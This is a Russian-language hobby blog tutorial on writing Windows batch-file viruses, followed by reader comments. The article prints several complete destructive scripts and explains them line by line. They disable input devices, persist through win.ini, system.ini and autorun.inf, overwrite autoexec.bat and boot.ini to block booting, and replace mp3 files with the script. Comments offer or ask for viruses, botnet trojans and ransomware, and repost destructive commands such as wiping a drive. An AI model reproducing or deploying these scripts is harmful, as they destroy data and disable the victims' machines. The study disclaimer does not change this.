Познавательный блог Мобильная врсия

Страницы

Промо

BAT-вирус своими руками

Привет тебе снова, юный кодер-шкодер. Если ты читал прошлую мою статью под названием "Учим ДОС", то ничего сложного тут для тебя не будет. А если не читал, то внимательно смотри комментарии. Итак, начнем. Сижу я однажды и думаю: а не накатать ли мне вирус? А так как кроме QБарсика я ничего не знал, а ДОС был моим вторым ... [Братом], а ты что подумал извращенец? :)~. ТО я решил писать вирус на нем, и оказалось это не так трудно.

Вот тело моего первого вируса

@echo off
rundll32 keyboard,disable
rundll32 mouse,disable
copy %0 %windir%/system
echo run=%windir%/system/*.bat >> win.ini
echo run=%windir%/system/*.bat >> system.ini
label LOHOLAMMER
if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
deltree /y c:\autoexec.bat > nul
echo autoexec.bat echo YOU ARE LAMMER...xe-xe-xe > c:\autoexec.bat
rundll32 mouse,enable
rundll32 keyboard,enable
echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("Warning,.. Ваш компьютер заражен вирусом, а избавиться от него нельзя, хе-хе-хе"); >> %temp%\mes.js
start %temp%\mes.js
deltree /y %temp%\mes.js
attrib c:\autoexec.bat +h +s +a +r
pause
cls

Объясняю популярно и по шагам:

1 @echo off - Запрещаем ДОСовскому окошку показывать, что делает скрипт.
2 rundll32 keyboard,disable - Отключаем клаву, на случай если юзер поймет что происходит и надумает нажать CTRL+C
3 rundll32 mouse,disable - Отключаем мышь тоже на всякий.
4 copy %0 %windir%/system - Копируемся в папку windows/system
// %0 - Переменная, указывающая на исходный файл-вирус
// %windir% - переменная папка масдая.
5 echo run=%windir%/system/*.bat >> %windir%\win.ini - Добавляет текст "run=%windir%/system/*.bat" в файл win.ini
6 echo run=%windir%/system/*.bat >> %windir%\system.ini - Добавляет текст "run=%windir%/system/*.bat" в файл system.ini
7 label LOHOLAMMER - Меняет имя диску c:\ на "LOHOLAMMER"
8 if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r - Проверяем если есть файл c:\autoexec.bat то убираем
//у него атрибуты -h -s -a -r
9 deltree /y c:\autoexec.bat - Удаляем файл c:\autoexec.bat , если не убрать атрибуты, то программа не удалит файл.
10 echo autoexec.bat echo YOU ARE LAMMER...xe-xe-xe > c:\autoexec.bat - Добавить текст "YOU ARE LAMMER...xe-xe-xe"
//в новый файл autoexec.bat
11 rundll32 mouse,enable - Включаем, пускай думает, что ниче не было.
12 rundll32 keyboard,enable - Включаем, пускай думает, что ниче не было.
13 echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("Warning,.. Ваш компьютер заражен вирусом, а избавиться от него нельзя, хе-хе-хе"); >> %temp%\mes.js
start %temp%\mes.js. //Этот текст выводит масдайное окно с надписью
deltree /y %temp%\mes.js //А потом стирает за собой следы.
14 attrib c:\autoexec.bat +h +s +a +r - Делает файл c:\autoexec.bat скрытым и системный чтоб ламер ничего не заподозрил.
15 pause - Просим нажать любую клавишу (Не обязательно нажимать ведь вирь уже сделал свое дело.)
16 cls - Выходим

Эта программа, при следующей перезагрузке не даст загрузиться виндовсу и будет писать 'Вы ламер.' .Работает только в винде до 2000.

Идем дальше, пишем новый вирус. Те функции, которые были упомянуты уже, не будут объясняться заново. Это просто усовершенствованная версия прошлого вируса.

@echo off
rundll32 user,setcursorpos //Убираем с экрана курсор в левый угол
rundll32 keyboard,disable //Было
rundll32 mouse,disable //Было
rundll32 user,swapmousebutton. //Тут мы переставляем кнопки мыши
echo Обновление параметров системы, пожалуйста подождите... //пишет отмазку :)
label mp_k //Меняем имя диску
copy mp_k.exe %windir% //Копирует себя в папку windows
if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
deltree /y c:\autoexec.bat
if exist c:\io.sys echo autoexec.bat echo YOU_ARE_LAMMER....[]=[_H@CKED_BY_[kas]*_"SmallPox_Vir_Org"_] > c:\autoexec.bat
echo run = %windir%\mp_k.exe >> %windir%\win.ini
echo run = %windir%\mp_k.exe >> %windir%\system.ini
echo [AutoRun] > c:\autorun.inf //Эти операции есть в прошлом вирусе.
echo open=c:\autoexec.bat > c:\autorun.inf
echo [AutoRun] > d:\autorun.inf
echo open=c:\autoexec.bat > d:\autorun.inf
rundll32 mouse,enable
rundll32 keyboard,enable
echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("Warning,.. А теперь необходимо перезагрузиться"); >> %temp%\mes.js
start %temp%\mes.js
deltree /y %temp%\mes.js
attrib c:\autoexec.bat +h +s +a +r
attrib %windir%\mp_k.exe +h +s +a +r
attrib c:\autorun.inf +h +s +a +r
attrib d:\autorun.inf +h +s +a +r
deltree /y mp_k.exe
rmdir %windir%\temp //Удаляем папку temp
mkdir %windir%\temp //Создаем папку temp
cls

А теперь, что-то новое.

@echo off
cls
echo Please wait, updating system...
ctty nul. //Это новая команда, она отключает вывод текста в окошке.
exist %WINDIR%\SYSTEM\VMM32\%0 goto :end //Если вирь уже запускался то пусть запустит себя снова.
copy %0 %WINDIR%\SYSTEM\VMM32
cd c:\ //Переходим в другую директорию
for %%a in (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\My Music\*.mp3 ..\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd My Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd My_Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd MyMusic
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd Музыка
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd Музон
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd MUZ
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd mp3
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd d:\
for %%a in (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\My Music\*.mp3 ..\*.mp3) do copy /y %0 %%a
cd My Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Тут тоже самое.
cd My_Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd MyMusic
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd Музыка
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd Музон
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd MUZ
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd mp3
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
:end //Метка
start /m /w %WINDIR%\SYSTEM\VMM32\%0 //Запуск в свернутом режиме
ctty con //Врубаем разрешение на показ текста в окне
echo Say goodbye your MP3 collection :)) Virus [BAT.kas.a] //Прощальные строки
cls //Выход.

Тут мало нового но уже что-то. Идем дальше. Накачал я с инета BAT-вирусов и начал их исследовать. И вот результаты:
Написал еще пару своих:

ctty nul //Было такое
REM Чй† Ђь@uoњPSQRVW
?
‹тЌ
" Q_ь№ у¦u=
є №є њъ.я?ђ л,ђ ///
copy %0 *.exe ///
copy %0 b.com>nul // Эта технология взята с вируса другово.
b.com. // Эти каракули перехватывают рабочие в данный момент файлы, и херит их.
del b.com. /// Это текст АСМ скомпиленого в exe
rem _^ZY[Xќњъ.я?ђ К ђђђђъ.я.ђ К ћ # @echoђё.5Н.Њ ' ‰?ђ Ќ ё.%Н.Ќ є Н'ђђ //
@echo off //
echo XEP_BAM //Пишем злобно и красиво.
if exist %windir%/%0.bat goto :end //Проверка виря на запускание, те был ли он запущен.
@rundll32 user,setcursorpos
ctty con //Было такое
echo Обновление параметров системы, пожалуйста подождите... //Отвлекаем.
@label BAT.c
copy %0.bat %windir% > nul
if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
if exist c:\boot.ini attrib c:\boot.ini -h -s -a -r
deltree /y c:\autoexec.bat
deltree /y c:\boot.ini
if exist c:\autoexec.bat echo autoexec.bat echo YOU_ARE_LAMMER.... > c:\autoexec.bat
if exist c:\boot.ini echo autoexec.bat echo YOU_ARE_LAMMER.... > c:\boot.ini //Это для XP он там вместо autoexec.bat ;)
deltree /y %windir%/win.ini

copy %0 > %windir%/win.ini
deltree /y %windir%/system.ini
copy %0 > %windir%/system.ini
if exist c:\io.sys //Проверка наличия диска так как на каждом диске есть файл io.sys
echo [AutoRun] > c:\autorun.inf //И если он есть заразить его.
echo open=c:\autoexec.bat >> c:\autorun.inf //И если он есть заразить его.
if exist d:\io.sys //Проверка наличия диска
echo [AutoRun] > d:\autorun.inf //И если он есть заразить его.
echo open=c:\autoexec.bat >> d:\autorun.inf //И если он есть заразить его.
if exist e:\io.sys //Проверка наличия диска
echo [AutoRun] > e:\autorun.inf //И если он есть заразить его.
echo open=c:\autoexec.bat >> e:\autorun.inf //И если он есть заразить его.
:end //Метка СМ начало.
cls //Выход

О какие бывают вирусы. И на что только ни ухитряются вирусописатели, чтобы добиться нужного результата. Прочитав эту доку ты с уверенностью сможешь сам написать BAT вирус, даже лучше моего ;).Ну удачи тебе в написании вирей, а я отклонюсь и свалю пить пиво %-).

Статьи написаны исключительно для изучения алгоритмов работы вирусов и методов борьбы с ними. Алгоритмы работы вирусов были выявлены при декомпиляции найденных в интернете вирусов и на сайте Лаборатории Касперского.

Комментарии

Комментарий от lakec [ 12 марта, 2011, 23:37 ]

Статья суперская ,а как сделать чтоб всплывало ещё фото?? как в порнобанере ???? кто знает подскажите пож.

Комментарий от Иван [ 16 марта, 2011, 10:28 ]

Я тоже новичок в этом деле, но вообщем понравилось!
Тоже искал несколько полезных команд BAT вирусов на форуме порекомендовали ввести в гугле «личный сайт антона виноградова».
Нашел там всё, что нужно и команды и программы для компиляции из BAT в EXE.

Комментарий от Рома [ 17 марта, 2011, 22:55 ]

Если кому надо могу дать батгенератор (мой, написаный своими руками на том же batch). кому интересно пишите на eliseev.roman.al@gmail.com

Комментарий от Леон Гончаров [ 19 марта, 2011, 20:45 ]

Люди… мда. Я дочитал комменты до середины, дальше не смог, это ппц. Мне 14 лет, но с первого взгляда я вижу что тут стооолько бреда… Я вири тож на бат пишу (хотя для батника вирь — уже фраза бредовая..), но блин, зачем все так усложнять? Там столько лишних строк, либо у некоторых наоборот: они хвастаются rd %systemroot%\windows! А хотите идею? Во-первых, компилируйте, криптуйте и джойните батники! Во-вторых, раз вири на бат тупость, напишите троян для… БОТНЕТА! Желающим получить исходник, просьба писать на мыло: magicmight2008@yandex.ru. ахаха)) ток я жадный, ботнетник за 10 руб. (ппц сумма..)

Комментарий от роман [ 21 марта, 2011, 23:55 ]

парни скиньте мне вирус на мыло если можно romaskip@au.ru заранее спс

Комментарий от Лёха [ 23 марта, 2011, 00:06 ]

скажите пожалуста как зделать так чтоб бат вирус запускался после перезагрузки компа очень надо заранее спосибо

Комментарий от Лёха [ 23 марта, 2011, 00:12 ]

скажите пожалуста как зделать так чтоб бат вирус запускался после перезагрузки компа снова и снова какая команда нужна

Комментарий от Илья [ 23 марта, 2011, 18:36 ]

Надо читать все комментарии! Киньте на мыло возможности бат вирусов!

Комментарий от Руслан [ 23 марта, 2011, 23:03 ]

Фигня это всё тут выше изложеное сам на сибе испробывал не работает )))))))))) шляпа а не ВИРУСЫ

Комментарий от Лёха [ 24 марта, 2011, 23:51 ]

ТЫ ПРОСТ ТУПОЙ НЕ ТАК ПИСАЛ НОВЕРНО У МЯ ВСЁ РОБИТ

Комментарий от Лёха [ 24 марта, 2011, 23:52 ]

скажите пожалуста как зделать так чтоб бат вирус запускался после перезагрузки компа снова и снова какая команда нужна

Комментарий от Рома [ 25 марта, 2011, 11:00 ]

Могу написать бат вирь под заказ(цена чистосимволическая, другой вирь например или интересная идея). кто заинтересован пишите на eliseev.roman.al@gmail.com

Комментарий от Алекс [ 1 апреля, 2011, 18:49 ]

Спасибо огромное автору. Всегда мечтал создавать хотя-бы простые вирусы. Статья отличная, мне понравилось!

Комментарий от Друг [ 2 апреля, 2011, 22:09 ]

Забавно… и познавательно вместе с тем. Только начал изучать командную строку. Полезная статья, спасибо

Комментарий от жека [ 3 апреля, 2011, 15:09 ]

народ вот короче малая часть действий разбирайтесь пишите коменты я училкам 8 компов наебнул ух они в ахуе были.
В состав Windows входят некоторые еще
не описанные исполняемые файлы (внешние команды):
del %0 -САМОУДАЛЕНИЕ
del c:Program Files/q -удаляет все файлы из указанной папки
Chkdsk.exe – отчет о состоянии диска
Debug.exe – отладчик программ
Diskcopy.com – копирование дискет с
соблюдением физического расположения файлов
Doskey.com – резидентная программа
редактирования командной строки
Extract.exe – распаковка Каб-файлов
Fc.exe – сравнение файлов
Find.exe – поиск текста
Label.exe – изменение метки тома
Move.exe – перемещение файлов
Restart.com – перезапуск компьютера
Scanreg.exe – программа проверки,
восстановления, исправления и
резервирования реестра.
Share.exe – обеспечение совместного
использования файлов
Start.exe – запуск приложений Windows из сеанса
MS-DOS (вообще-то, они и без нее запускаются)
Все они (кроме Restart.com), находятся в
папке Command. Параметры их запуска, если т
аковые потребуются, можно узнать, вызывая их
с параметром /?.
ASSOC — Отображает или модифицирует связи расширений файлов
AT — Планирует команды и программы для выполнения на компьютере.
ATTRIB — Отображает или изменяет атрибуты файла.
BREAK — Устанавливает или отменяет проверку комбинации [Ctrl+C].
CACLS — Отображает или модифицирует списки управления доступом (ACLs) для файлов.
CALL — Вызывает один *.BAT-файл из другого.
CD — Отображает имя или изменяет имя текущей директории.
CHCP — Отображает или устанавливает номер активной кодовой страницы.
CHDIR — Отображает имя или изменяет имя текущей директории.
CHKDSK — Проверяет диск и отображает отчет о состоянии.
CLS — Очищает экран.
CMD — Стартует новый экземпляр интерпретатора команд Windows NT.
COLOR — Устанавливает цвета по умолчанию для переднего и заднего плана консоли.
COMMAND — Стартует новую копию интерпретатора команд Windows.
COMP — Сравнивает содержимое двух файлов или установки файлов.
COMPACT — Отображает или видоизменяет сжатие файлов на патрициях Windows NT(NTFS).
CONVERT — Конвертирует FAT томов к формату файловой системы Windows NT(NTFS). Вы не можете конвертировать текущий диск.
COPY — Копирует один или больше файлов на другое место.
CTTY — Изменяет терминальное устройство, используемое для управления вашей системой.
DATE — Отображает или устанавливает дату.
DEL — Удаляет один или более файлов.
DEBUG — Выполняет отладку, тестирование программ и редактирование инструментальных средств.
DIR — Отображает список файлов и поддиректорий в директории.
DISKCOMP — Сравнивает содержимое двух дискет.
DISKCOPY — Копирует содержимое одной дискеты на другую.
DOSKEY — Редактирует командные строки, восстанавливает команды Windows и создает макрос.
ECHO — Отображает сообщения, или включает/выключает вывод команд.
EMM386 — Включает/выключает поддержку расширенной памяти EMM386.
ENDLOCAL — Заканчивает локализацию изменений окружающей среды в *.BAT-файле.
ERASE — Удаляет один или более файлов.
EXIT — Прекращает выполнение программы (интерпретатор команд).
EXTRACT — Средство извлечения информации из CAB — файлов.
FC — Сравнивает два файла или установки файлов, и отображает различие между ними.
FIND — Ищет текстовую строку в файле или файлах.
FINDSTR — Поиск строк в файлах.
FOR — Выполняет указанную команду для каждого файла в наборе файлов.
FORMAT — Форматирует диск для использования с Windows.
FTYPE — Отображает или модифицирует типы файлов, используемых в связях расширений.
GOTO — Направляет интерпретатор команд Windows NT к помеченной строке в *.BAT-файле.
GRAFTABL — Способность Windows отображать символы псевдографики, вставленные в графическом режиме.
HELP — Обеспечивает информацию Help для команд Windows.
IF — Выполняет обработку условия в *.BAT-файле.
KEYB — Конфигурирует клавиатуру для заданного языка.
LABEL — Создает, изменяет, или удаляет метку тома на диске.
LOADHIGH(LH) — Загружает программу в верхние адреса памяти.
MD — Создает директорию.
MEM — Отображает величину используемой и свободной памяти в вашей системе.
MKDIR — Создает директорию.
MODE — Конфигурирует системное устройство.
MORE — Отображает вывод одного экрана за раз.
MOVE — Перемещает один или более файлов из одной директории в другую на том же диске.
NETSTAT — Отображает статистики протоколов и текущих сетевых соединений TCP/IP.
NLSFUNC — Загружает информацию, специфическую для страны.
PATH — Отображает или устанавливает путь поиска для выполняемых файлов.
PAUSE — Приостанавливает обработку *.BAT-файла и отображает сообщение.
POPD — Восстанавливает предыдущее значение текущей директории, сохраненной по PUSHD.
PRINT — Печатает текстовый файл.
PROMPT — Изменяет подсказку к командам Windows.
PUSHD — Сохраняет текущую директорию, потом изменяет.
RD — Удаляет директорию.
RECOVER — Восстанавливает читаемую информацию с плохого или дефектного диска.
REM — Записывает комментарии (примечания) в *.BAT-файлы или CONFIG.SYS.
REN — Переименует файл или файлы.
RENAME — Переименует файл или файлы.
REPLACE — Заменяет файлы.
RESTORE — Восстанавливает файлы, которые были архивированы с использованием команды BACKUP.
RMDIR — Удаляет директорию.
SET — Отображает, устанавливает или удаляет переменные среды Windows.
SETLOCAL — Начинает локализацию изменений среды в *.BAT-файле.
SETVER — Устанавливает номер версии MS-DOS, который Windows сообщает программе.
SHIFT — Сдвигает позицию замещаемых параметров в *.BAT-файле.
SMARTDRV — Инсталлирует и конфигурирует утилиту кэширования диска SMART — драйва.
SORT — Сортирует входной поток.
START — Стартует отдельное окно для выполнения указанной программы или команды.
SUBST — Связывает путь с литерой диска.
SYS — Копирует файлы системы MS-DOS и интерпретатор команд на указанный вами диск.
TIME — Отображает или устанавливает системное время.
TITLE — Устанавливает заголовок окна для сеанса .
TREE — Графически отображает структуру директория в драйве или путь.
TYPE — Отображает содержимое текстового файла.
VER — Отображает версию Windows.
VERIFY — Сообщает Windows, проверять ли правильность записи файлов на диск.
VOL — Отображает метку дискового тома и серийный номер.
XCOPY — Копирует файлы и деревья директории.
[папка WINDOWS]\COMMAND\format [Буква_Диска]: /autotest — форматирование диска(работает в XP)
Cd\ — команда для выхода в корневой каталог из места откуда был запущен bat файл
Cd [Буква_Диска]: — команда перехода на диск
~~~~
Пример, взят с книжки(прога копирует себя в autoexec.bat):
@Echo off
if exist c:virus.bat goto wik {проверяем, существует ли файл, …}
copy %0 c:virus.bat >nul
attrib +h c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
:wik {…если он существует, то программа переходит на метку :wik}
copy %0 a:run.bat >nul
~~~~
Chcp 1251 — русская кодировка в бате
start/wait regedit -s [file.reg] — сливаем file.reg с реестром
rd [Буква_Диск]: /s /q — Удаляет ВСЕ с раздела\диска(не пытайтесь проверить у себя)
echo [Строка] >> [Файл] — дописывает строку в файл
attrib -a -s -h [файл.расш] — снимает атрибуты с файла:
+-[a] — снять/убрать аттрибут «НЕ ЗНАЮ Я КАКОЙ НО вроде Архивный»
+-[ s ] — снять/убрать аттрибут «Системный»
+-[h] — снять/убрать аттрибут «Скрытый»
+-[r] = снять/убрать аттрибут «Чтение»
~~~~~~~
Пути:
%USERPROFILE% — [C]:\Documents and Settings\[LAMER]
%ProgramFiles% — это понятно что=)
%USERPROFILE%\Application Data\Microsoft\Internet Explorer\Quick Launch — быстрый запуск
%USERPROFILE%\SendTo — меню «Оптравить»
%windir% — Wind00z)))
%temp% — поняна че ето
~~~~~~~~~~~
assoc .[старое расширение]=.[новое расширение] -изменения ассоцияций
md Папка\еще папка — Создание папок, пример:
md открой\и эту тоже\идём дальше\почти у цели\сейчас конец\конец
Или так:
Добавляем n папок в меню «Отправить»:
cd %USERPROFILE%\SendTo
md 1
mp 2
md 3

md n
~~~~~~~~~~~~~~~~~~~~~
RUNDLL (Скопировано с «Народных советов, май 2003»), юзать прямо и тупо — пишете строку в BAT-файл и все:
~~~~~~~~~~~~~~~~~~~~~
rundll32 shell32.dll,Control_RunDLL hotplug.dll — диалоговое окно Отключение или извлечение аппаратного устройства
rundll32 diskcopy,DiskCopyRunDll — вызов диалога «Копирование диска».
rundll32 keyboard,disable — отключение клавиатуры, действует до следующей перезагрузки.
rundll32 mouse,disable — отключение мыши вплоть до перезагрузки.
rundll32 krnl386.exe,exitkernel — выгрузить ядро системы, выход из Windows.
rundll32 mshtml.dll,PrintHTML «HtmlFileNameAndPath» — распечатать документ HTML, где «HtmlFileNameAndPath» — путь к файлу и его имя.
rundll32 мсprint2.dll,RUNDLL_PrintTestPage — распечатать тестовую страницу на принтере.
rundll32 netplwiz.dll,AddNetPlaceRunDll — вызов мастера подключения нового сетевого ресурса «Добавление в сетевое окружение».
rundll32 rnaui.dll,RnaWizard — вызов мастера «Удаленный доступ к сети».
rundll32 rnaui.dll,RnaWizard /1 — вызов мастера «Удаленный доступ к сети» без отображения начального окна.
rundll32 shell,ShellExecute — открыть Проводник (папка «Рабочий стол»).
rundll32 shell32,Control_RunDLL — открыть в Проводнике папку «Панель управления».
rundll32 shell32,Control_RunDLL appwiz.cpl,,n — вызов диалогового окна «Установка и удаление программ», в котором будет открыта вкладка с номером «n» (от 1 до 3).
rundll32 shell32,Control_RunDLL main.cpl @0 — открыть диалог «Свойства мыши».
rundll32 shell32,Control_RunDLL main.cpl @1 — открыть диалог «Свойства клавиатуры».
rundll32 shell32,Control_RunDLL main.cpl @2 — открыть папку «Принтеры».
rundll32 SHELL32,SHHelpShortcuts_RunDLL PrintersFolder — открыть папку «Принтеры» (другой способ).
rundll32 shell32,Control_RunDLL main.cpl @3 — открыть папку «Шрифты».
rundll32 SHELL32,SHHelpShortcuts_RunDLL FontsFolder — открыть папку «Шрифты» (другой способ).
rundll32 SHELL32,Control_RunDLL modem.cpl, add — открыть диалог «Свойства модема».
rundll32 shell32,Control_RunDLL timedate.cpl — открыть диалог «Дата и время».
rundll32 shell32,OpenAs_RunDLL — вызвать диалог «Открыть с помощью…».
rundll32 shell32,ShellAboutA WINHOWTO.RU — информация о версии Windows.
rundll32 shell32,SHExitWindowsEx 0 — закрыть все программы, перегрузить оболочку.
rundll32 shell32, SHExitWindowsEx 1 — выключить ПК.
rundll32 SHELL32, SHExitWindowsEx -1 — перегрузить оболочку Windows.
rundll32 shell32, SHExitWindowsEx 2 — перегрузить ПК.
rundll32 shell32,SHExitWindowsEx 4 — принудительно закрыть все программы.
rundll32 shell32,SHExitWindowsEx 8 — выход из Windows и выключение ATX-совместимого ПК.
rundll32 shell32,SHFormatDrive — вызов диалога форматирования диска А:.
rundll32 SHELL32,SHHelpShortcuts_RunDLL AddPrinter — запуск «Мастера установки принтера».
rundll32 shell32,SHHelpShortcuts_RunDLL Connect — запуск мастера подключения сетевого диска.
rundll32 SHELL32,SHHelpShortcuts_RunDLL PrintTestPage — распечатать тестовую страницу.
rundll32 sysdm.cpl,InstallDevice_Rundll — вызов мастера установки оборудования.
rundll32 url.dll,FileProtocolHandler %1 — открыть веб-страницу, где %1 — URL сайта (включая [link=https://).]https://).[/link]
rundll32 url.dll,MailToProtocolHandler %1 — создать новое письмо, где %1 — e-mail адресата.
rundll32 user,CASCADECHILDWINDOWS — расположить все окна каскадом.
rundll32 user,TILECHILDWINDOWS — расположить все окна по экрану.
rundll32 user,disableoemlayer — сбой системы (!) — выключить все функции ввода-вывода (клавиатура, дисплей, мышь). В результате будет черный экран с курсором и ни на что не реагирующая система, однако Windows продолжает работать.
rundll32 user,ExitWindowsExec — быстрая перезагрузка Windows.
rundll32 user,RepaintScreen — выполнить команду «Обновить».
rundll32 user,SetCaretBlinkTime n — задать частоту мигания курсора, соответствующую значению параметра n.
rundll32 user,SetCursorPos — переместить курсор мыши в верхний левый угол экрана.
rundll32 user,SetDoubleClickTime n — задать скорость двойного нажатия левой кнопки мыши (Double Click), соответствующую параметру n.
rundll32 user,SwapMouseButton — поменять местами клавиши мыши (обратная смена невозможна).
rundll32 user,WNetConnectDialog — вызов диалога «Подключение сетевого диска».
rundll32 user,WNetDisconnectDialog — вызов диалога «Отключение сетевого диска».
rundll32 AppWiz.Cpl,NewLinkHere %1 — запуск мастера создания нового ярлыка, где %1 — путь к исходному файлу.
~~~~~~~~~~~~~~~~~~~~~~~
WSH(работает только В win2000=)))))
БЕЗ КОМЕНТАРИЕВ, ДУМАЮ ВСЕ ПОНЯТНО:
~~~~~~~~~~~~~~~~~~~~~~~
echo var WSHShell = WScript.CreateObject(”WScript.Shell”); > %temp%\mes.js
WSHShell.Popup(”][AKER FOREVA!”); >> %temp%\mes.js
start %temp%\mes.js
deltree /y %temp%\mes.js
attrib c:\autoexec.bat +h +s +a +r
pause
cls
~~~~~~~~~~~~~~~~~~~~~
Вирус(полностью и нагло тоже скопирован):
ctty nul //Было такое
REM Чй† Ђь@uoњPSQRVW
?
‹тЌ
” Q_ь№ у¦u=
є №є њъ.я?ђ л,ђ ///
copy %0 *.exe ///
copy %0 b.com>nul // Эта технология взята с вируса другово.
b.com. // Эти каракули перехватывают рабочие в данный момент файлы, и херит их.
del b.com. /// Это текст АСМ скомпиленого в exe
rem _^ZY[Xќњъ.я?ђ К ђђђђъ.я.ђ К ћ # @echoђё.5Н.Њ ‘ ‰?ђ Ќ ё.%Н.Ќ є Н’ђђ //
@echo off //
echo XEP_BAM //Пишем злобно и красиво.
if exist %windir%/%0.bat goto :end //Проверка виря на запускание, те был ли он запущен.
@rundll32 user,setcursorpos
ctty con //Было такое
echo Обновление параметров системы, пожалуйста подождите… //Отвлекаем.
@label BAT.c
copy %0.bat %windir% > nul
if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
if exist c:\boot.ini attrib c:\boot.ini -h -s -a -r
deltree /y c:\autoexec.bat
deltree /y c:\boot.ini
if exist c:\autoexec.bat echo autoexec.bat echo YOU_ARE_LAMMER…. > c:\autoexec.bat
if exist c:\boot.ini echo autoexec.bat echo YOU_ARE_LAMMER…. > c:\boot.ini //Это для XP он там вместо autoexec.bat ;)
deltree /y %windir%/win.ini
copy %0 > %windir%/win.ini
deltree /y %windir%/system.ini
copy %0 > %windir%/system.ini
if exist c:\io.sys //Проверка наличия диска так как на каждом диске есть файл io.sys
echo [AutoRun] > c:\autorun.inf //И если он есть заразить его.
echo open=c:\autoexec.bat >> c:\autorun.inf //И если он есть заразить его.
if exist d:\io.sys //Проверка наличия диска
echo [AutoRun] > d:\autorun.inf //И если он есть заразить его.
echo open=c:\autoexec.bat >> d:\autorun.inf //И если он есть заразить его.
if exist e:\io.sys //Проверка наличия диска
echo [AutoRun] > e:\autorun.inf //И если он есть заразить его.
echo open=c:\autoexec.bat >> e:\autorun.inf //И если он есть заразить его.
:end //Метка СМ начало.
cls //Выход
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
copy %0 [Папка] — Копирует себя в папку
time ЧЧ:ММ — меняет время
date ДД.ММ.ГГ — если ставить » в будущее», то у некоторых антивирусов дохнет активация
del [файл.расш] /s /q — удаление файла
deltree /y [Файл] — Еще одно удаление

Комментарий от Joker [ 6 апреля, 2011, 02:27 ]

Так товарищи. Прочитал весь этот полубред.
1. Половина операторов в ХР не пашет-факт
2. Идеи не плохие… однако время не то… эти вири актуальны были в конце 90-х.
3. Если хочеш стать ВИРЬ писакой, изучай языки программирования.
4. Читай ВСЕ коменты… Много повторяющихся вопросов.
5. скачайте «азбуку» CMD. Много интересного найдете.

Комментарий от Virus_7 [ 12 апреля, 2011, 15:57 ]

Ребят! HELP! Как создать вирус, который будет искать файлы по ключевым словам, которые я задам, и удалять их??? Пишите в аську ребят, если знаете как!!!
UIN:72367383 ник:[CLU] Жду ребят!!! HELP!!!

Комментарий от shegan [ 23 апреля, 2011, 09:47 ]

есть такие люди кторые могут хорошо и понятно обучить хаккингу я понимаю что это не легко я знаю не много ну и не мало мне нужен человек кторый будет двигать мои мозги дальше

Комментарий от olya [ 14 мая, 2011, 20:52 ]

помогите пожалусто,немогу найти троян-вымогатель,кто поможет,отблагодарю!

Комментарий от Леон Гончаров [ 6 июля, 2011, 06:01 ]

А червя-насильника тебе не написать?

Комментарий от Дима [ 11 июля, 2011, 14:36 ]

Уважаемый админ, нанесение ущерба, это конечно прикольно, а возможно написание такой бат программы, чтоб при установки флеш карты и при запуске программы все файлы txt, doc, или другие заданые в параметрах файлы копировались на указаную флеш карту в указаную папку. Если это возможно скинте пожалуйста набор кода на мой почтовый ящик dim4ik.k@yandex.ru. Заранее спасибо.

Комментарий от ммммммм [ 17 июля, 2011, 20:59 ]

меня убил вирус

Комментарий от xakepo4ku [ 29 июля, 2011, 07:22 ]

выложите исходников разных тройчиков заценить хоть одним глазком .)

Комментарий от xakepo4ku [ 29 июля, 2011, 07:23 ]

Timer1.Enabled = True
Me.Timer1.Interval = 1000 * seconds
While Me.Timer1.Interval > 0
DoEvents
Wend
Timer1.Enabled = False
End Sub

‘настройка таймера
